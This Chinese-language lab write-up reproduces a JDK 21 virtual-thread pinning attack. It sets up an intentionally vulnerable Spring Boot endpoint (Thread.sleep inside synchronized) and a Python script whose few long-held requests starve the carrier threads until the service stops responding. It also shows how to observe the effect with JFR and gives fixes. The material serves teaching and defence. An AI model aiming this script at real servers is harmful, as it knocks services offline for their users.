一、虚拟线程调度模型与 Pinning 的形成条件

JDK 21 通过 JEP 444 将虚拟线程(Virtual Thread)正式落地。每一个虚拟线程不直接拥有操作系统线程,而是由 JVM 调度器在一组载体线程(Carrier Thread)上挂载与卸载。载体线程本身是平台线程,由一个专用的 ForkJoinPool 持有,该池在 java.lang.VirtualThread 中静态创建:

private static final ForkJoinPool DEFAULT_SCHEDULER = createDefaultScheduler();

调度器的目标并行度由系统属性 jdk.virtualThreadScheduler.parallelism 决定,默认值等于 Runtime.getRuntime().availableProcessors();池规模上界由 jdk.virtualThreadScheduler.maxPoolSize 决定,默认值为 256。二者之间通过 ForkJoinPool.tryCompensate 在某个载体被"已知阻塞"时临时增补新载体。

虚拟线程的挂载与卸载依赖 Continuation.yield。当一个虚拟线程在某个可中断阻塞点(LockSupport.park、Selector.select、SocketChannel.read 等 JDK 已经为虚拟线程重写过的原语)阻塞时,运行时调用 Continuation.yield 将栈快照保存到堆并释放载体;待事件就绪后由调度器把它重新挂载到任意空闲载体。

Pinning 指虚拟线程因栈帧中存在无法卸载的结构而无法 yield 的状态。在 JDK 21 中,触发 Pinning 的两条主要路径是:

  1. 虚拟线程位于一个 synchronized 方法或代码块的临界区内部;
  2. 虚拟线程栈帧中存在原生方法(JNI / Foreign Function)调用。

进入 Pinning 后,若该虚拟线程再次执行原本会触发 yield 的阻塞操作(Thread.sleep、Object.wait、阻塞式 InputStream.read 等),运行时无法把它从载体上卸下,于是该载体线程被真实地阻塞在操作系统层面,直到阻塞结束。

在 JDK 21 中,虚拟线程等待进入一个已被占用的 synchronized 监视器这一动作本身也会 Pinning。也就是说,即使临界区内部代码极短,只要存在监视器竞争,所有排队等待者会把各自的载体一并钉住。

二、载体线程池容量的真实上界

为什么载体被钉住后调度器不会自动补偿:

DEFAULT_SCHEDULER 是一个特殊配置的 ForkJoinPool,其补偿机制 tryCompensate 仅在两种情况下被触发:

  1. 当前任务显式调用 ForkJoinPool.managedBlock(ManagedBlocker);
  2. JDK 内部的虚拟线程卸载路径(VirtualThread.parkNanos 等)在准备 yield 时主动通知调度器。

Pinning 状态下的 Thread.sleep、Object.wait、阻塞式 IO 走的是普通平台线程阻塞分支,载体线程在 FJP 的视角里仍然处于 RUNNING 状态,只是在执行一个很慢的任务。FJP 不会为一个看起来"还在跑"的任务开新载体。

当并发的 Pinning 阻塞数达到 parallelism 时,整个虚拟线程调度器进入饥饿状态:新到达的虚拟线程必须排队等待已有载体释放,即便 maxPoolSize 还有 200 多个名额可用。

这就是攻击得以成立的根本机制。默认配置下,攻击者只需要约 availableProcessors() 量级的长连接,就能让一台多核服务器的 HTTP 处理彻底停摆。CPU 与带宽都接近 0,但服务不再响应任何请求。

三、靶机搭建

3.1 依赖安装与版本校验

sudo apt update
sudo apt install -y openjdk-21-jdk maven 
java -version
mvn -version

3.2 工程结构

3.3 pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
                             https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.3.4</version>
        <relativePath/>
    </parent>
    <groupId>com.example</groupId>
    <artifactId>pinning-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <properties>
        <java.version>21</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

3.4 application.yml

spring:
  threads:
    virtual:
      enabled: true
server:
  port: 8080

spring.threads.virtual.enabled=true 让 Spring Boot 把 Tomcat 的请求处理 Executor 换成 VirtualThreadTaskExecutor,每个 HTTP 请求由一个独立的虚拟线程承载。

3.5 入口类与控制器

src/main/java/com/example/pinning/PinningApplication.java

package com.example.pinning;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class PinningApplication {
    public static void main(String[] args) {
        SpringApplication.run(PinningApplication.class, args);
    }
}

src/main/java/com/example/pinning/VulnController.java

package com.example.pinning;

import java.time.Duration;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class VulnController {

    // 64 个分桶锁,放在静态数组中,让 JIT 的逃逸分析无法消除 synchronized;
    // 不同 slot 参数会落到不同的锁上,4 条攻击连接可以同时进入临界区。
    private static final Object[] LOCKS = new Object[64];
    static {
        for (int i = 0; i < LOCKS.length; i++) {
            LOCKS[i] = new Object();
        }
    }

    @GetMapping("/api/charge")
    public String charge(@RequestParam(defaultValue = "30") int seconds,
                         @RequestParam(defaultValue = "0") int slot)
            throws InterruptedException {
        Object lock = LOCKS[Math.floorMod(slot, LOCKS.length)];
        synchronized (lock) {
            // synchronized 临界区内的 Thread.sleep 会触发 Pinning,
            // 载体线程被钉在该任务上,整段 sleep 期间不可复用。
            Thread.sleep(Duration.ofSeconds(seconds));
        }
        return "ok-slot-" + slot;
    }

    @GetMapping("/api/health")
    public String health() {
        return "alive";
    }
}

/api/charge 抽象了生产代码中极常见的形态:临界区内调用了一个慢操作。

3.6 构建与启动

java \
  -Djdk.virtualThreadScheduler.parallelism=4 \
  -Djdk.virtualThreadScheduler.maxPoolSize=256 \
  -Djdk.tracePinnedThreads=full \
  -jar target/pinning-demo-0.0.1-SNAPSHOT.jar

3.8 基线功能确认

验证靶机两个接口均工作:

curl -i 'http://127.0.0.1:8080/api/health'

time curl -s 'http://127.0.0.1:8080/api/charge?seconds=2&slot=0'

确认 /api/charge?seconds=2 在约 2 秒后正常返回,这是后续衡量攻击效果的基线。

四、攻击实施

创建攻击脚本attack.py:

import socket
import threading
import time
import sys

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
HOLD_SECONDS = 120
N_CONN = 4                  # 与目标 parallelism 相等

def build_charge(slot: int) -> bytes:
    return (
        f"GET /api/charge?seconds={HOLD_SECONDS}&slot={slot} HTTP/1.1\r\n"
        f"Host: {TARGET_HOST}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode()

HEALTH_REQ = (
    f"GET /api/health HTTP/1.1\r\n"
    f"Host: {TARGET_HOST}\r\n"
    f"Connection: close\r\n"
    f"\r\n"
).encode()


def hold(slot: int) -> None:
    s = socket.create_connection((TARGET_HOST, TARGET_PORT))
    s.sendall(build_charge(slot))
    # 不读响应;服务端虚拟线程会一直停在 synchronized + Thread.sleep
    time.sleep(HOLD_SECONDS + 10)
    s.close()


print(f"[*] firing {N_CONN} long-running requests against "
      f"{TARGET_HOST}:{TARGET_PORT}")
threads = [threading.Thread(target=hold, args=(i,), daemon=True)
           for i in range(N_CONN)]
for t in threads:
    t.start()

time.sleep(2)               # 让服务端把 N 条虚拟线程都创建好并 Pin 住载体

t0 = time.time()
try:
    s = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=20)
    s.sendall(HEALTH_REQ)
    data = s.recv(4096)
    print(f"[+] /api/health responded in {time.time()-t0:.2f}s: "
          f"{data[:80]!r}")
except socket.timeout:
    print(f"[!] /api/health timed out after {time.time()-t0:.2f}s")
except OSError as e:
    print(f"[!] /api/health failed in {time.time()-t0:.2f}s: {e}")

for t in threads:
    t.join()

运行:

python3 attack.py 127.0.0.1 8080

发起 4 条长连接约 2 秒后,针对 /api/health 的探测请求一直挂起到 20 秒超时;而 /api/health 本身没有任何业务逻辑,不读数据库、不访问外部资源。攻击窗口内,宿主机 CPU 占用接近 0%、网络带宽接近 0,但整个 HTTP 服务停止响应。

4.1 边界值复现

把 N_CONN 改为 3 再跑一次:

仍有一个空闲载体可挂载新虚拟线程,curl http://127.0.0.1:8080/api/health 毫秒级返回。

把 N_CONN 改为 8:

现象与 4 一致:超过 parallelism 的额外连接只会在 FJP 的等待队列中排队,并不会进一步加剧服务端损耗。

4.2 同时观察多个指标

循环探测健康接口的脚本:

while true; do
    TIMEFORMAT=%R
    time curl -s -o /dev/null -m 5 http://127.0.0.1:8080/api/health 2>&1
    sleep 1
  done

N_CONN=3时

N_CONN=4和8时

未攻击时每行约 0.00–0.01 秒;攻击窗口内每行都将达到 5.00 秒,直到 120 秒后攻击结束。

五、服务端 Pinning 的采证

5.1 JFR jdk.VirtualThreadPinned 事件

查看java进程

 jps -l

启动 JFR 录制

jcmd 195629  JFR.start name=pin filename=/tmp/pin.jfr settings=default

启用 VirtualThreadPinned 事件

jcmd 195629  JFR.set name=pin enabled=true

立即触发 Pinning

curl 'http://127.0.0.1:8080/api/charge?seconds=30&slot=0' &
sleep 35 

停止录制并写入文件

 jcmd 195629 JFR.stop name=pin

查看结果

  ls -lh /tmp/pin.jfr
  jfr print /tmp/pin.jfr | grep -iE "virtual|pin|sleep"


六、修复

6.1 把 synchronized 替换为 ReentrantLock

ReentrantLock.lock() 与 tryLock() 走 AbstractQueuedSynchronizer + LockSupport.park 路径,是 JDK 已经为虚拟线程重写过的协作式阻塞,不会引起 Pinning。等价改写:

import java.util.concurrent.locks.ReentrantLock;

private static final ReentrantLock[] LOCKS = new ReentrantLock[64];
static {
    for (int i = 0; i < LOCKS.length; i++) {
        LOCKS[i] = new ReentrantLock();
    }
}

@GetMapping("/api/charge")
public String charge(@RequestParam(defaultValue = "30") int seconds,
                     @RequestParam(defaultValue = "0") int slot)
        throws InterruptedException {
    ReentrantLock lock = LOCKS[Math.floorMod(slot, LOCKS.length)];
    lock.lock();
    try {
        Thread.sleep(Duration.ofSeconds(seconds));
        return "ok-slot-" + slot;
    } finally {
        lock.unlock();
    }
}

jdk.tracePinnedThreads 不再产生输出;JFR 中 jdk.VirtualThreadPinned 事件归零;JSON 线程转储里 carrier 字段全部为空。

6.2 缩短临界区,把阻塞操作移出 synchronized

当 synchronized 来自第三方库无法直接替换时,最小修改是把慢操作搬到临界区外。以本地缓存为例:

public String fetch(String key) throws Exception {
    String cached;
    synchronized (cache) {
        cached = cache.get(key);
    }
    if (cached != null) {
        return cached;
    }

    String fresh = slowRemoteCall(key);   // 阻塞 IO 放在 synchronized 之外

    synchronized (cache) {
        cache.putIfAbsent(key, fresh);
        return cache.get(key);
    }
}

synchronized 块内不再有阻塞 IO,Pinning 仅持续微秒级,不足以构成饥饿条件。

6.3 为高 Pinning 风险接口分配独立载体池

Thread.ofVirtual().scheduler(...) 在 JDK 21 的公开 API 中并未暴露 scheduler(Executor) 方法,需要反射访问 jdk.internal.vm.ThreadBuilders 内部能力为虚拟线程指定独立调度器。更工程化、不依赖内部 API 的等价做法,是在 Spring 侧给该接口绑定一个独立的平台线程池:

@Configuration
public class IsolatedExecutorConfig {

    @Bean
    public AsyncTaskExecutor legacyIoExecutor() {
        ThreadPoolTaskExecutor pool = new ThreadPoolTaskExecutor();
        pool.setCorePoolSize(64);
        pool.setMaxPoolSize(256);
        pool.setQueueCapacity(0);
        pool.setThreadNamePrefix("legacy-io-");
        pool.initialize();
        return pool;
    }
}

让该接口返回 Callable<String> 并配合 @Async("legacyIoExecutor"),或直接 legacyIoExecutor.submit(...) 把请求处理移到该平台线程池。这样含有 synchronized + 阻塞 IO 的遗留代码即便发生阻塞,也只会消耗这个独立池的容量,默认虚拟线程调度器及其上承载的其它业务接口不受影响。